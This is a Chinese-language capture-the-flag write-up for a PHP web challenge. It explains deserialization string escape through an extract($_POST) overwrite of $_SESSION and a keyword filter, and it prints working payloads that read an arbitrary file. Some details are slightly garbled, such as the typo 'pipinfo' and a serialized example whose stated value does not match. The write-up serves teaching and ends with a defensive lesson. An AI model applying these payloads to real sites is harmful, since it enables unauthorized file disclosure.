这道题值得拿出来说一下,是因为涉及到了反序列化逃逸的一些基本知识
首先有几个点值得去思考一下,我们知道一般序列化的格式是:
{i:5;s:9:"aaaaaaaaa";}
上面的序列化格式其实表示的是一个整数变量值为100与一个String值为"aaaaaaaaa"。
如果我们在序列化好的字符串中加入 ;} 字符就能在中间起到反序列化时的截断效果。同时如果前面的字符数、类型等正常对应,反序列化时是能正常解析并起到覆盖变量的效果的,这就叫做php反序列化的字符逃逸。
我们构建payload只需要保证这一点就行了。
因为所有格式化的数据只要可以被修改,那一定有可能出现漏洞。
首先根据代码提示:
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
我们直接传入GET变量f=pipinfo,可以在phpinfo信息里发现文件:
d0g3_f1ag.php
根据代码提示对其进行base64处理得到:
ZDBnM19mMWFnLnBocA==
再跟进代码:
if($_SESSION){
unset($_SESSION);
}
源码中的部分处理其实完全可以忽略,这里操作的是_SESSION这个数组而已。
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
这里的处理也告诉我们,通过正常的GET方式传入img_path会被sha1处理。
echo file_get_contents(base64_decode($userinfo['img']));
这样最后的base64_decode就会出现问题。也别去考虑sha1的构造了,构造难度挺大。
所以我们可以采用别的方式传入_SESSION数组元素,并进行反序列化字符逃逸。
_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
为什么要这么构建payload呢?
首先我们要看到代码里的:
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
这里对$_SESSION中的user与function两个键进行了赋值,随后就用extract处理了POST变量。所以利用思路就是用user&function进行处理从而字符串逃逸吗?其实有更简单的方法,就是控制$_SESSION本身。
再看我们的payload:
_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这里在进行filter的时候,SESSION里面的flagflag就都被过滤掉了,所以我们就多出了8位去构建后面的字符。
为什么刚好多八位呢?
首先我们序列化 _SESSION[flagflag]="; 看一看。
a:1:{s:8:"flagflag";s:2:"";";}
过滤过后:
a:1:{s:8:"";s:2:"";";}
注意看s:8:"后面,一直到第二个;前面的引号闭合,这里一共有7位。
那为什么是8而不是flagphp这样构建7位呢?
别急,我们再在后面跟上添加一下我们要伪造的img。
序列化一下:_SESSION[flagflag]=";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
这里我们已经把我们要传入的img参数送进去了,得到的结果是:
注意看这里的41,代表的是_SESSION[flagflag]的内容长度,这个时候我们闭合内的字符数就变成了8。
这也是我们这里用flagflag的原因,这样刚好处理恰当。
再看payload:
_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我们为什么要传入一个无关的a呢?这里的a是作为这里:
第一位的值。不然后面的正常键值对关系是构造错误的,不能正常反序列化。
我们 send 一下 payload:
回显了flag的位置。
前面构造的8位允许_SESSION[flagflag]的长度在两位数,所以我们直接对新的目标地址base64处理,得到:L2QwZzNfZmxsbGxsbGFn。
刚好也是20位,所以直接替换成上面的base64字符串就行。
最终paylaod:
_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
观察回显:
至此结束。
考查知识点:
php反序列化字符串逃逸
代码审计与思考
题目难度:
简单
总结:
学会审计代码,安全工作中不要暴露出格式化数据的操作接口。